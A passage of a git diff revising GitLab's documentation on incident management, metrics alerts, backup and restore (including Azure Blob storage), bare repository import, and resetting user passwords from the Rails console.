- to a [Status Page](status_page.md).. **(ULTIMATE)**
+ to a [Status Page](status_page.md). **(ULTIMATE)**
The Incident list displays incidents sorted by incident created date.
-([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229534) to GitLab core in 13.3).)
+([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229534) to GitLab core in 13.3.)
To see if a column is sortable, point your mouse at the header. Sortable columns
display an arrow next to the column name.
+TIP: **Tip:**
+For a live example of the incident list in action, visit this
+[demo project](https://gitlab.com/gitlab-examples/ops/incident-setup/everyone/tanuki-inc/-/incidents).
+
NOTE: **Note:**
Incidents share the [Issues API](../../user/project/issues/index.md).
@@ -47,13 +62,13 @@ to create issues when alerts are triggered:
1. Navigate to **Settings > Operations > Incidents** and expand
**Incidents**:
- ![Incident Management Settings](img/incident_management_settings_v13_3.png)
+ ![Incident Management Settings](./img/incident_management_settings_v13_3.png)
1. For GitLab versions 11.11 and greater, you can select the **Create an issue**
checkbox to create an issue based on your own
[issue templates](../../user/project/description_templates.md#creating-issue-templates).
For more information, see
- [Trigger actions from alerts](../metrics/alerts.md#trigger-actions-from-alerts-ultimate) **(ULTIMATE)**.
+ [Trigger actions from alerts](../metrics/alerts.md#trigger-actions-from-alerts) **(ULTIMATE)**.
1. To create issues from alerts, select the template in the **Issue Template**
select box.
1. To send [separate email notifications](index.md#notify-developers-of-alerts) to users
@@ -64,20 +79,32 @@ to create issues when alerts are triggered:
Appropriately configured alerts include an
[embedded chart](../metrics/embed.md#embedding-metrics-based-on-alerts-in-incident-issues)
for the query corresponding to the alert. You can also configure GitLab to
-[close issues](../metrics/alerts.md#trigger-actions-from-alerts-ultimate)
+[close issues](../metrics/alerts.md#trigger-actions-from-alerts)
when you receive notification that the alert is resolved.
## Create an incident manually
-> [Moved](https://gitlab.com/gitlab-org/monitor/health/-/issues/24) to GitLab core in 13.3.
+If you have at least Developer [permissions](../../user/permissions.md), to create an Incident, you have two options.
-For users with at least Developer [permissions](../../user/permissions.md), to create a Incident you can take any of the following actions:
+### From the Incidents List
+
+> [Moved](https://gitlab.com/gitlab-org/monitor/health/-/issues/24) to GitLab core in 13.3.
- Navigate to **Operations > Incidents** and click **Create Incident**.
- Create a new issue using the `incident` template available when creating it.
- Create a new issue and assign the `incident` label to it.
-![Incident List Create](img/incident_list_create_v13_3.png)
+![Incident List Create](./img/incident_list_create_v13_3.png)
+
+### From the Issues List
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230857) in GitLab 13.4.
+
+- Navigate to **Issues > List** and click **Create Issue**.
+- Create a new issue using the `type` drop-down and select `Incident`.
+- The page refreshes and the page only displays fields relevant to Incidents.
+
+![Incident List Create](./img/new_incident_create_v13_4.png)
## Configure PagerDuty integration
@@ -91,7 +118,7 @@ in both PagerDuty and GitLab:
1. Navigate to **Settings > Operations > Incidents** and expand **Incidents**.
1. Select the **PagerDuty integration** tab:
- ![PagerDuty incidents integration](img/pagerduty_incidents_integration_v13_3.png)
+ ![PagerDuty incidents integration](./img/pagerduty_incidents_integration_v13_3.png)
1. Activate the integration, and save the changes in GitLab.
1. Copy the value of **Webhook URL** for use in a later step.
@@ -101,3 +128,29 @@ in both PagerDuty and GitLab:
To confirm the integration is successful, trigger a test incident from PagerDuty to
confirm that a GitLab issue is created from the incident.
+
+## Incident details
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230847) in GitLab 13.4.
+
+### Summary
+
+The summary section for incidents provides both critical details about and the
+contents of the issue template (if one was used). The highlighted bar at the top
+of the incident displays from left to right: the link to the original alert, the
+alert start time, and the event count. Beneath the highlight bar, GitLab
+displays a summary that includes the following fields:
+
+- Start time
+- Severity
+- `full_query`
+- Monitoring tool
+
+### Alert details
+
+Incidents show the details of linked alerts in a separate tab. To populate this
+tab, the incident must have been created with a linked alert. Incidents
+[created automatically](#configure-incidents) from alerts will have this
+field populated.
+
+![Incident alert details](./img/incident_alert_details_v13_4.png)
diff --git a/doc/operations/incident_management/index.md b/doc/operations/incident_management/index.md
index 53a6b47ec4b..28e69a6bbfe 100644
--- a/doc/operations/incident_management/index.md
+++ b/doc/operations/incident_management/index.md
@@ -8,13 +8,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2877) in GitLab 13.0.
-Alert Management enables developers to easily discover and view the alerts
+Incident Management enables developers to easily discover and view the alerts
generated by their application. By surfacing alert information where the code is
being developed, efficiency and awareness can be increased.
GitLab offers solutions for handling incidents in your applications and services,
such as [setting up Prometheus alerts](#configure-prometheus-alerts),
-[displaying metrics](alertdetails.md#embed-metrics-in-incidents-and-issues), and sending notifications.
+[displaying metrics](./alert_details.md#embed-metrics-in-incidents-and-issues), and sending notifications.
## Alert notifications
@@ -35,7 +35,7 @@ These emails contain details of the alert, and a link for more information.
To send separate email notifications to users with
[Developer permissions](../../user/permissions.md), see
-[Configure incidents](incidents.md#configure-incidents).
+[Configure incidents](./incidents.md#configure-incidents).
## Configure Prometheus alerts
@@ -49,16 +49,19 @@ user, but it does not count toward your license limit.
## Configure external generic alerts
-GitLab can accept alerts from any source through a generic webhook receiver. When
-[configuring the generic alerts integration](../../user/project/integrations/generic_alerts.md),
-GitLab creates a unique endpoint which receives a JSON-formatted, customizable payload.
+GitLab can accept alerts from any source through a generic webhook receiver.
+When [configuring the generic alerts integration](./generic_alerts.md), GitLab
+creates a unique endpoint which receives a JSON-formatted, customizable payload.
+
+After configuration, you can manage your alerts using either the
+[alerts section](./alerts.md) or the [alert details section](./alert_details.md).
## Integrate incidents with Slack
Slack slash commands allow you to control GitLab and view GitLab content without leaving Slack.
Learn how to [set up Slack slash commands](../../user/project/integrations/slack_slash_commands.md)
-and how to [use the available slash commands](../../user/project/slash_commands.md).
+and how to [use the available slash commands](../../integration/slash_commands.md).
## Integrate issues with Zoom
@@ -66,3 +69,13 @@ GitLab enables you to [associate a Zoom meeting with an issue](../../user/projec
for synchronous communication during incident management. After starting a Zoom
call for an incident, you can associate the conference call with an issue. Your
team members can join the Zoom call without requesting a link.
+
+## More information
+
+For information about GitLab and incident management, see:
+
+- [Generic alerts](generic_alerts.md)
+- [Alerts](alerts.md)
+- [Alert details](alert_details.md)
+- [Incidents](incidents.md)
+- [Status page](status_page.md)
diff --git a/doc/operations/incident_management/status_page.md b/doc/operations/incident_management/status_page.md
index e376607d86f..9db3593caec 100644
--- a/doc/operations/incident_management/status_page.md
+++ b/doc/operations/incident_management/status_page.md
@@ -12,11 +12,11 @@ With a GitLab Status Page, you can create and deploy a static website to communi
efficiently to users during an incident. The Status Page landing page displays an
overview of recent incidents:
-![Status Page landing page](img/status_page_incidents_v12_10.png)
+![Status Page landing page](./img/status_page_incidents_v12_10.png)
Clicking an incident displays a detail page with more information about a particular incident:
-![Status Page detail](img/status_page_detail_v12_10.png)
+![Status Page detail](./img/status_page_detail_v12_10.png)
- Status on the incident, including when the incident was last updated.
- The incident title, including any emojis.
@@ -144,7 +144,7 @@ you provided during setup. As part of publication, GitLab will:
After publication, you can access the incident's details page by clicking the
**Published on status page** button displayed under the Incident's title.
-![Status Page detail link](img/status_page_detail_link_v13_1.png)
+![Status Page detail link](./img/status_page_detail_link_v13_1.png)
### Update an incident
diff --git a/doc/operations/index.md b/doc/operations/index.md
index bcc3f89f47f..7ab34502277 100644
--- a/doc/operations/index.md
+++ b/doc/operations/index.md
@@ -36,7 +36,7 @@ Are your alerts too noisy? Alerts configured on GitLab metrics can configured
and fine-tuned in GitLab immediately following a fire-fight.
- [Manage alerts and incidents](../user/incident_management/index.md) in GitLab.
-- [Configure alerts for metrics](metrics/alerts.md#set-up-alerts-for-prometheus-metrics-core) in GitLab.
+- [Configure alerts for metrics](metrics/alerts.md#set-up-alerts-for-prometheus-metrics) in GitLab.
- Create a [status page](incident_management/status_page.md)
to communicate efficiently to your users during an incident.
diff --git a/doc/operations/metrics/alerts.md b/doc/operations/metrics/alerts.md
index 2ed8de9396a..5b880ab9746 100644
--- a/doc/operations/metrics/alerts.md
+++ b/doc/operations/metrics/alerts.md
@@ -6,14 +6,16 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Set up alerts for Prometheus metrics **(CORE)**
+> [Moved from Ultimate to Core](https://gitlab.com/gitlab-org/gitlab/-/issues/42640) in GitLab 12.10.
+
After [configuring metrics for your CI/CD environment](index.md), you can set up
alerting for Prometheus metrics depending on the location of your instances, and
-[trigger actions from alerts](#trigger-actions-from-alerts-ultimate) to notify
+[trigger actions from alerts](#trigger-actions-from-alerts) to notify
your team when environment performance falls outside of the boundaries you set.
## Managed Prometheus instances
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6590) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.2 for [custom metrics](index.md#adding-custom-metrics), and GitLab 11.3 for [library metrics](../../user/project/integrations/prometheus_library/metrics.md).
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6590) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.2 for [custom metrics](index.md#adding-custom-metrics), and GitLab 11.3 for [library metrics](../../user/project/integrations/prometheus_library/metrics.md).
For managed Prometheus instances using auto configuration, you can
[configure alerts for metrics](index.md#adding-custom-metrics) directly in the
@@ -33,7 +35,7 @@ To remove the alert, click back on the alert icon for the desired metric, and cl
### Link runbooks to alerts
-> - Runbook URLs [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39315) in GitLab 13.3.
+> Runbook URLs [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39315) in GitLab 13.3.
When creating alerts from the metrics dashboard for [managed Prometheus instances](#managed-prometheus-instances),
you can also link a runbook. When the alert triggers, the
@@ -45,8 +47,8 @@ as soon as the alert fires:
## External Prometheus instances
->- [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9258) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.8.
->- [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/42640) to [GitLab Core](https://about.gitlab.com/pricing/) in 12.10.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9258) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.8.
+> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/42640) to [GitLab Core](https://about.gitlab.com/pricing/) in 12.10.
For manually configured Prometheus servers, GitLab provides a notify endpoint for
use with Prometheus webhooks. If you have manual configuration enabled, an
@@ -78,12 +80,12 @@ Prometheus. The value of this should match the name of your environment in GitLa
NOTE: **Note:**
In GitLab versions 13.1 and greater, you can configure your manually configured
Prometheus server to use the
-[Generic alerts integration](../../user/project/integrations/generic_alerts.md).
+[Generic alerts integration](../incident_management/generic_alerts.md).
## Trigger actions from alerts **(ULTIMATE)**
->- [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4925) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.11.
->- [From GitLab Ultimate 12.5](https://gitlab.com/gitlab-org/gitlab/-/issues/13401), when GitLab receives a recovery alert, it will automatically close the associated issue.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4925) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.11.
+> - [From GitLab Ultimate 12.5](https://gitlab.com/gitlab-org/gitlab/-/issues/13401), when GitLab receives a recovery alert, it will automatically close the associated issue.
Alerts can be used to trigger actions, like opening an issue automatically
(disabled by default since `13.1`). To configure the actions:
diff --git a/doc/operations/metrics/dashboards/variables.md b/doc/operations/metrics/dashboards/variables.md
index 8b0d7f37052..22c8814e8bd 100644
--- a/doc/operations/metrics/dashboards/variables.md
+++ b/doc/operations/metrics/dashboards/variables.md
@@ -18,6 +18,7 @@ Queries that continue to use the old format will show no data.
GitLab supports a limited set of [CI variables](../../../ci/variables/README.md) in the Prometheus query. This is particularly useful for identifying a specific environment, for example with `ci_environment_slug`. The supported variables are:
+- `environment_filter`
- `ci_environment_slug`
- `kube_namespace`
- `ci_project_name`
@@ -29,6 +30,14 @@ GitLab supports a limited set of [CI variables](../../../ci/variables/README.md)
NOTE: **Note:**
Variables for Prometheus queries must be lowercase.
+### environment_filter
+
+`environment_filter` is automatically expanded to `container_name!="POD",environment="ENVIRONMENT_NAME"`
+where `ENVIRONMENT_NAME` is the name of the current environment.
+
+For example, a Prometheus query like `container_memory_usage_bytes{ {{environment_filter}} }`
+becomes `container_memory_usage_bytes{ container_name!="POD",environment="production" }`.
+
### __range
The `__range` variable is useful in Prometheus
diff --git a/doc/operations/metrics/embed.md b/doc/operations/metrics/embed.md
index 62d60921c85..fcf9679d164 100644
--- a/doc/operations/metrics/embed.md
+++ b/doc/operations/metrics/embed.md
@@ -20,15 +20,28 @@ metrics to others, and you want to have relevant information directly available.
NOTE: **Note:**
Requires [Kubernetes](../../user/project/integrations/prometheus_library/kubernetes.md) metrics.
+Note: **Note:**
+In GitLab versions 13.3 and earlier, metrics dashboard links were in the form
+`https://<root_url>/<project>/-/environments/<environment_id>/metrics`. These links
+are still supported, and can be used to embed metric charts.
+
To display metric charts, include a link of the form
-`https://<root_url>/<project>/-/environments/<environment_id>/metrics` in a field
+`https://<root_url>/<project>/-/metrics?environment=<environment_id>` in a field
that supports GitLab-flavored Markdown:
-![Embedded Metrics Markdown](img/embedded_metrics_markdown_v12_8.png)
+```markdown
+### Summary
+
+**Start time:** 2020-01-21T12:00:31+00:00
+
+### Metrics
+
+https://gitlab.com/gitlab-org/monitor/tanuki-inc/-/metrics?environment=1118134
+```
GitLab unfurls the link as an embedded metrics panel:
-![Embedded Metrics Rendered](img/embedded_metrics_rendered_v12_8.png)
+![Embedded Metrics Rendered](img/embedded_metrics_rendered_v13_4.png)
You can also embed a single chart. To get a link to a chart, click the
**{ellipsis_v}** **More actions** menu in the upper right corner of the chart,
diff --git a/doc/operations/metrics/img/embedded_metrics_markdown_v12_8.png b/doc/operations/metrics/img/embedded_metrics_markdown_v12_8.png
deleted file mode 100644
index ffd34705464..00000000000
--- a/doc/operations/metrics/img/embedded_metrics_markdown_v12_8.png
+++ /dev/null
Binary files differ
diff --git a/doc/operations/metrics/img/embedded_metrics_rendered_v12_8.png b/doc/operations/metrics/img/embedded_metrics_rendered_v12_8.png
deleted file mode 100644
index b024daaaa8e..00000000000
--- a/doc/operations/metrics/img/embedded_metrics_rendered_v12_8.png
+++ /dev/null
Binary files differ
diff --git a/doc/operations/metrics/img/embedded_metrics_rendered_v13_4.png b/doc/operations/metrics/img/embedded_metrics_rendered_v13_4.png
new file mode 100644
index 00000000000..876972dc721
--- /dev/null
+++ b/doc/operations/metrics/img/embedded_metrics_rendered_v13_4.png
Binary files differ
diff --git a/doc/operations/metrics/index.md b/doc/operations/metrics/index.md
index 92c4a4986bc..742e6acef0e 100644
--- a/doc/operations/metrics/index.md
+++ b/doc/operations/metrics/index.md
@@ -46,7 +46,7 @@ For GitLab-managed Prometheus, you can set up [Auto DevOps](../../topics/autodev
to quickly create a deployment:
1. Navigate to your project's **Operations > Kubernetes** page.
-1. Ensure that, in addition to Prometheus, you also have Runner and Ingress
+1. Ensure that, in addition to Prometheus, you also have GitLab Runner and Ingress
installed.
1. After installing Ingress, copy its endpoint.
1. Navigate to your project's **Settings > CI/CD** page. In the
@@ -118,7 +118,7 @@ After creating your dashboard, you can customize it to meet your needs:
[create custom metrics](#adding-custom-metrics) and display them on your metrics dashboard.
- **Configure alerts for metrics**: [Configure custom alerts](alerts.md) for your team when
environment performance falls outside of the boundaries you set.
-- **Trigger actions from alerts**: [Open new issues for your team](alerts.md#trigger-actions-from-alerts-ultimate) **(ULTIMATE)**
+- **Trigger actions from alerts**: [Open new issues for your team](alerts.md#trigger-actions-from-alerts) **(ULTIMATE)**
when environment performance falls outside of the boundaries you set.
## Metrics dashboard visibility
diff --git a/doc/operations/product_analytics.md b/doc/operations/product_analytics.md
index 96f1a45167b..8f660a16b47 100644
--- a/doc/operations/product_analytics.md
+++ b/doc/operations/product_analytics.md
@@ -33,7 +33,7 @@ To enable it:
# Instance-wide
Feature.enable(:product_analytics)
# or by project
-Feature.enable(:product_analytics, Project.find(<project id>))
+Feature.enable(:product_analytics, Project.find(<project ID>))
```
To disable it:
@@ -42,7 +42,7 @@ To disable it:
# Instance-wide
Feature.disable(:product_analytics)
# or by project
-Feature.disable(:product_analytics, Project.find(<project id>))
+Feature.disable(:product_analytics, Project.find(<project ID>))
```
## Access Product Analytics
diff --git a/doc/policy/maintenance.md b/doc/policy/maintenance.md
index 7f3f75d933d..d2e556f3c8d 100644
--- a/doc/policy/maintenance.md
+++ b/doc/policy/maintenance.md
@@ -76,6 +76,9 @@ Version specific changes in Omnibus GitLab Linux packages can be found in [the O
NOTE: **Note:**
Instructions are available for downloading an Omnibus GitLab Linux package locally and [manually installing](https://docs.gitlab.com/omnibus/manual_install.html) it.
+NOTE: **Note:**
+A step-by-step guide to [upgrading the Omnibus-bundled PostgreSQL is documented separately](https://docs.gitlab.com/omnibus/settings/database.html#upgrade-packaged-postgresql-server).
+
### Upgrading major versions
Upgrading the *major* version requires more attention.
@@ -90,8 +93,8 @@ It's also important to ensure that any background migrations have been fully com
before upgrading to a new major version. To see the current size of the `background_migration` queue,
[Check for background migrations before upgrading](../update/README.md#checking-for-background-migrations-before-upgrading).
-If your GitLab instance has any GitLab Runners associated with it, it is very
-important to upgrade the GitLab Runners to match the GitLab minor version that was
+If your GitLab instance has any runners associated with it, it is very
+important to upgrade GitLab Runner to match the GitLab minor version that was
upgraded to. This is to ensure [compatibility with GitLab versions](https://docs.gitlab.com/runner/#compatibility-with-gitlab-versions).
### Version 12 onward: Extra step for major upgrades
diff --git a/doc/push_rules/push_rules.md b/doc/push_rules/push_rules.md
index 6a3939b0de8..1643c96d229 100644
--- a/doc/push_rules/push_rules.md
+++ b/doc/push_rules/push_rules.md
@@ -78,7 +78,7 @@ See [server hooks](../administration/server_hooks.md) for more information.
NOTE: **Note:**
GitLab administrators can set push rules globally under
**Admin Area > Push Rules** that all new projects will inherit. You can later
-override them in a project's settings. They can be also set on a [group level](../user/group/index.md#group-push-rules-starter).
+override them in a project's settings. They can be also set on a [group level](../user/group/index.md#group-push-rules).
1. Navigate to your project's **Settings > Repository** and expand **Push Rules**
1. Set the rule you want
diff --git a/doc/raketasks/README.md b/doc/raketasks/README.md
index 54b504bbfe8..523486d5137 100644
--- a/doc/raketasks/README.md
+++ b/doc/raketasks/README.md
@@ -24,7 +24,7 @@ The following are available Rake tasks:
| [Elasticsearch](../integration/elasticsearch.md#gitlab-elasticsearch-rake-tasks) **(STARTER ONLY)** | Maintain Elasticsearch in a GitLab instance. |
| [Enable namespaces](features.md) | Enable usernames and namespaces for user projects. |
| [General maintenance](../administration/raketasks/maintenance.md) | General maintenance and self-check tasks. |
-| [Geo maintenance](../administration/raketasks/geo.md) **(PREMIUM ONLY)** | [Geo](../administration/geo/replication/index.md)-related maintenance. |
+| [Geo maintenance](../administration/raketasks/geo.md) **(PREMIUM ONLY)** | [Geo](../administration/geo/index.md)-related maintenance. |
| [GitHub import](../administration/raketasks/github_import.md) | Retrieve and import repositories from GitHub. |
| [Import repositories](import.md) | Import bare repositories into your GitLab instance. |
| [Import large project exports](../development/import_project.md#importing-via-a-rake-task) | Import large GitLab [project exports](../user/project/settings/import_export.md). |
diff --git a/doc/raketasks/backup_restore.md b/doc/raketasks/backup_restore.md
index 2163cf22944..68b076258ce 100644
--- a/doc/raketasks/backup_restore.md
+++ b/doc/raketasks/backup_restore.md
@@ -16,7 +16,7 @@ remember to enable backups with your object storage provider if desired.
## Requirements
-In order to be able to backup and restore, you need two essential tools
+In order to be able to backup and restore, you need one essential tool
installed on your system.
- **Rsync**: If you installed GitLab:
@@ -295,6 +295,24 @@ For installations from source:
sudo -u git -H bundle exec rake gitlab:backup:create SKIP=tar RAILS_ENV=production
```
+#### Disabling prompts during restore
+
+During a restore from backup, the restore script may ask for confirmation before
+proceeding. If you wish to disable these prompts, you can set the `GITLAB_ASSUME_YES`
+environment variable to `1`.
+
+For Omnibus GitLab packages:
+
+```shell
+sudo GITLAB_ASSUME_YES=1 gitlab-backup restore
+```
+
+For installations from source:
+
+```shell
+sudo -u git -H GITLAB_ASSUME_YES=1 bundle exec rake gitlab:backup:restore RAILS_ENV=production
+```
+
#### Back up Git repositories concurrently
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37158) in GitLab 13.3.
@@ -516,6 +534,44 @@ For installations from source:
1. [Restart GitLab](../administration/restart_gitlab.md#installations-from-source) for the changes to take effect
+##### Using Azure Blob storage
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25877) in GitLab 13.4.
+
+For Omnibus GitLab packages:
+
+1. Edit `/etc/gitlab/gitlab.rb`:
+
+ ```ruby
+ gitlab_rails['backup_upload_connection'] = {
+ 'provider' => 'AzureRM',
+ 'azure_storage_account_name' => '<AZURE STORAGE ACCOUNT NAME>',
+ 'azure_storage_access_key' => '<AZURE STORAGE ACCESS KEY>',
+ 'azure_storage_domain' => 'blob.core.windows.net', # Optional
+ }
+ gitlab_rails['backup_upload_remote_directory'] = '<AZURE BLOB CONTAINER>'
+ ```
+
+1. [Reconfigure GitLab](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect
+
+For installations from source:
+
+1. Edit `home/git/gitlab/config/gitlab.yml`:
+
+ ```yaml
+ backup:
+ upload:
+ connection:
+ provider: 'AzureRM'
+ azure_storage_account_name: '<AZURE STORAGE ACCOUNT NAME>'
+ azure_storage_access_key: '<AZURE STORAGE ACCESS KEY>'
+ remote_directory: '<AZURE BLOB CONTAINER>'
+ ```
+
+1. [Restart GitLab](../administration/restart_gitlab.md#installations-from-source) for the changes to take effect
+
+See [the table of Azure parameters](../administration/object_storage.md#azure-blob-storage) for more details.
+
##### Specifying a custom directory for backups
Note: This option only works for remote storage. If you want to group your backups
@@ -725,7 +781,7 @@ from source). This file contains the database encryption key,
[CI/CD variables](../ci/variables/README.md#gitlab-cicd-environment-variables), and
variables used for [two-factor authentication](../user/profile/account/two_factor_authentication.md).
If you fail to restore this encryption key file along with the application data
-backup, users with two-factor authentication enabled and GitLab Runners will
+backup, users with two-factor authentication enabled and GitLab Runner will
lose access to your GitLab server.
You may also want to restore any TLS keys, certificates, or [SSH host keys](https://superuser.com/questions/532040/copy-ssh-keys-from-one-server-to-another-server/532079#532079).
@@ -1005,14 +1061,14 @@ including (but not restricted to):
- [Project mirroring](../user/project/repository/repository_mirroring.md)
- [Web hooks](../user/project/integrations/webhooks.md)
-In cases like CI/CD variables and Runner authentication, you might
+In cases like CI/CD variables and runner authentication, you might
experience some unexpected behavior such as:
- Stuck jobs.
- 500 errors.
In this case, you are required to reset all the tokens for CI/CD variables
-and Runner Authentication, which is described in more detail below. After
+and runner authentication, which is described in more detail below. After
resetting the tokens, you should be able to visit your project and the jobs
will have started running again. Use the information in the following sections at your own risk.
@@ -1069,7 +1125,7 @@ and then users will have to reactivate 2FA from scratch.
1. You may need to reconfigure or restart GitLab for the changes to take
effect.
-#### Reset Runner registration tokens
+#### Reset runner registration tokens
1. Enter the DB console:
diff --git a/doc/raketasks/import.md b/doc/raketasks/import.md
index 263f9e54a20..c8ca92b4bae 100644
--- a/doc/raketasks/import.md
+++ b/doc/raketasks/import.md
@@ -1,6 +1,9 @@
# Import bare repositories **(CORE ONLY)**
Rake tasks are available to import bare repositories into a GitLab instance.
+When migrating from an existing GitLab instance,
+and to preserve ownership by users and their namespaces,
+please use [our project-based import/export](../user/project/settings/import_export.md).
Note that:
@@ -14,11 +17,14 @@ Note that:
To import bare repositories into a GitLab instance:
-1. Create a new folder to import your Git repositories from. The new folder needs to have Git user
- ownership and read/write/execute access for Git user and its group:
+1. Create a new folder to import your Git repositories from.
+ You can also import projects into a (sub)group's namespace,
+ instead of the administrator's namespace. To do so, create subfolders and
+ give ownership and read/write/execute permissions of those subfolders to the
+ `git` user and its group:
```shell
- sudo -u git mkdir -p /var/opt/gitlab/git-data/repository-import-<date>/new_group
+ sudo -u git mkdir -p /var/opt/gitlab/git-data/repository-import-$(date "+%Y-%m-%d")/<optional_groupname>/<optional_subgroup>
```
1. Copy your bare repositories inside this newly created folder. Note:
@@ -26,15 +32,15 @@ To import bare repositories into a GitLab instance:
- Any `.git` repositories found on any of the subfolders will be imported as projects.
- Groups will be created as needed, these could be nested folders.
- For example, if we copy the repositories to `/var/opt/gitlab/git-data/repository-import-<date>`,
+ For example, if we copy the repositories to `/var/opt/gitlab/git-data/repository-import-2020-08-22`,
and repository `A` needs to be under the groups `G1` and `G2`, it must be created under those folders:
- `/var/opt/gitlab/git-data/repository-import-<date>/G1/G2/A.git`.
+ `/var/opt/gitlab/git-data/repository-import-2020-08-22/G1/G2/A.git`.
```shell
- sudo cp -r /old/git/foo.git /var/opt/gitlab/git-data/repository-import-<date>/new_group/
+ sudo cp -r /old/git/foo.git /var/opt/gitlab/git-data/repository-import-$(date "+%Y-%m-%d")/<optional_groupname>/<optional_subgroup>
# Do this once when you are done copying git repositories
- sudo chown -R git:git /var/opt/gitlab/git-data/repository-import-<date>
+ sudo chown -R git:git /var/opt/gitlab/git-data/repository-import-$(date "+%Y-%m-%d")
```
`foo.git` needs to be owned by the `git` user and `git` users group.
@@ -46,7 +52,7 @@ To import bare repositories into a GitLab instance:
- Omnibus Installation
```shell
- sudo gitlab-rake gitlab:import:repos['/var/opt/gitlab/git-data/repository-import-<date>']
+ sudo gitlab-rake gitlab:import:repos['/var/opt/gitlab/git-data/repository-import-$(date "+%Y-%m-%d")']
```
- Installation from source. Before running this command you need to change to the directory where
@@ -54,7 +60,7 @@ To import bare repositories into a GitLab instance:
```shell
cd /home/git/gitlab
- sudo -u git -H bundle exec rake gitlab:import:repos['/var/opt/gitlab/git-data/repository-import-<date>'] RAILS_ENV=production
+ sudo -u git -H bundle exec rake gitlab:import:repos['/var/opt/gitlab/git-data/repository-import-$(date "+%Y-%m-%d")'] RAILS_ENV=production
```
## Example output
diff --git a/doc/security/README.md b/doc/security/README.md
index bbc7db54b14..f8b9e423c04 100644
--- a/doc/security/README.md
+++ b/doc/security/README.md
@@ -12,7 +12,7 @@ type: index
- [Rate limits](rate_limits.md)
- [Webhooks and insecure internal web services](webhooks.md)
- [Information exclusivity](information_exclusivity.md)
-- [Reset your root password](reset_root_password.md)
+- [Reset user password](reset_user_password.md)
- [Unlock a locked user](unlock_user.md)
- [User File Uploads](user_file_uploads.md)
- [How we manage the CRIME vulnerability](crime_vulnerability.md)
diff --git a/doc/security/reset_root_password.md b/doc/security/reset_root_password.md
deleted file mode 100644
index cd2144698f6..00000000000
--- a/doc/security/reset_root_password.md
+++ /dev/null
@@ -1,56 +0,0 @@
----
-type: howto
----
-
-# How to reset your root password
-
-To reset your root password, first log into your server with root privileges.
-
-Start a Ruby on Rails console with this command:
-
-```shell
-gitlab-rails console -e production
-```
-
-Wait until the console has loaded.
-
-There are multiple ways to find your user. You can search for email or username.
-
-```shell
-user = User.where(id: 1).first
-```
-
-or
-
-```shell
-user = User.find_by(email: 'admin@example.com')
-```
-
-Now you can change your password:
-
-```shell
-user.password = 'secret_pass'
-user.password_confirmation = 'secret_pass'
-```
-
-It's important that you change both password and password_confirmation to make it work.
-
-Don't forget to save the changes.
-
-```shell
-user.save!
-```
-
-Exit the console and try to login with your new password.
-
-<!-- ## Troubleshooting
-
-Include any troubleshooting steps that you can foresee. If you know beforehand what issues
-one might have when setting this up, or when something is changed, or on upgrading, it's
-important to describe those, too. Think of things that may go wrong and include them here.
-This is important to minimize requests for support, and to avoid doc comments with
-questions that you know someone might ask.
-
-Each scenario can be a third-level heading, e.g. `### Getting error message X`.
-If you have none to add when creating a doc, leave this section in place
-but commented out to help encourage others to add to it in the future. -->
diff --git a/doc/security/reset_user_password.md b/doc/security/reset_user_password.md
new file mode 100644
index 00000000000..bc8de882afe
--- /dev/null
+++ b/doc/security/reset_user_password.md
@@ -0,0 +1,81 @@
+---
+type: howto
+---
+
+# How to reset user password
+
+To reset the password of a user, first log into your server with root privileges.
+
+Start a Ruby on Rails console with this command:
+
+```shell
+gitlab-rails console -e production
+```
+
+Wait until the console has loaded.
+
+## Find the user
+
+There are multiple ways to find your user. You can search by email or user ID number.
+
+```shell
+user = User.where(id: 7).first
+```
+
+or
+
+```shell
+user = User.find_by(email: 'user@example.com')
+```
+
+## Reset the password
+
+Now you can change your password:
+
+```shell
+user.password = 'secret_pass'
+user.password_confirmation = 'secret_pass'
+```
+
+It's important that you change both password and password_confirmation to make it work.
+
+When using this method instead of the [Users API](../api/users.md#user-modification), GitLab sends an email to the user stating that the user changed their password.
+
+If the password was changed by an administrator, execute the following command to notify the user by email:
+
+```shell
+user.send_only_admin_changed_your_password_notification!
+```
+
+Don't forget to save the changes.
+
+```shell
+user.save!
+```
+
+Exit the console and try to login with your new password.
+
+NOTE: **Note:**
+Passwords can also be reset via the [Users API](../api/users.md#user-modification)
+
+### Reset your root password
+
+The steps described above can also be used to reset the root password. But first, identify the root user, with an `id` of `1`. To do so, run the following command:
+
+```shell
+user = User.where(id: 1).first
+```
+
+After finding the user, follow the steps mentioned in the [Reset the password](#reset-the-password) section to reset the password of the root user.
+
+<!-- ## Troubleshooting
+
+Include any troubleshooting steps that you can foresee. If you know beforehand what issues
+one might have when setting this up, or when something is changed, or on upgrading, it's
+important to describe those, too. Think of things that may go wrong and include them here.
+This is important to minimize requests for support, and to avoid doc comments with
+questions that you know someone might ask.
+
+Each scenario can be a third-level heading, e.g. `### Getting error message X`.
+If you have none to add when creating a doc, leave this section in place
+but commented out to help encourage others to add to it in the future. -->
diff --git a/doc/ssh/README.md b/doc/ssh/README.md
